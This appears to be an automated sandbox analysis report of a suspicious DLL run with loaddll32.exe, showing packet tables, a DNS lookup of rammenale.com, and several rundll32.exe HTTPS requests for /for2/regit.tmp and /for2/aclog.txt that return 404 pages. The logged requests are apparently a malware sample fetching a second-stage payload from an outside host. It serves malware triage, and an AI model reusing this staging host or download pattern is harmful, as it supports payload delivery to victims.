Aug 29, 2024 06:53:05.811285019 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.811328888 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.811676979 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.811681032 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.833579063 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.833663940 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.833677053 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.833714962 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.833983898 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.834064960 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.834079027 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.834117889 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.834119081 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.834141016 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.834141016 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.834146976 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.834177017 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.834177017 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.892978907 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.893054962 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.893064976 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.893132925 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.893178940 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.893696070 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.893696070 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.893707991 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.893762112 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.024373055 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.024497032 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.024543047 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.024563074 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.025106907 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.025120974 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.025130033 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.025157928 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.040775061 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.040843964 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.040855885 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.040894032 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.040904045 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.040915012 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.040950060 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.041054010 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.041337013 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.041357040 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:06.041376114 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:06.041398048 CEST	49716	443	192.168.2.6	131.153.206.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 06:53:03.468719959 CEST	60970	53	192.168.2.6	1.1.1.1
Aug 29, 2024 06:53:04.165409088 CEST	53	60970	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 29, 2024 06:53:03.468719959 CEST	192.168.2.6	1.1.1.1	0x3772	Standard query (0)	rammenale.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 29, 2024 06:53:04.165409088 CEST	1.1.1.1	192.168.2.6	0x3772	No error (0)	rammenale.com		131.153.206.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rammenale.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	131.153.206.231	443	4988	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:05 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:05 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:05 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:05 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:05 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49716	131.153.206.231	443	5432	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:05 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:06 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:05 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:06 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:06 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	131.153.206.231	443	5308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:05 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:05 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:05 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:05 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:05 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	131.153.206.231	443	5332	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:05 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:05 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:05 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:05 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:05 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49717	131.153.206.231	443	6136	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:05 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:06 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:05 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:06 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:06 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49713	131.153.206.231	443	5960	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:05 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:05 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:05 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:05 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:05 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Target ID:	0
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll"
Imagebase:	0xc20000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
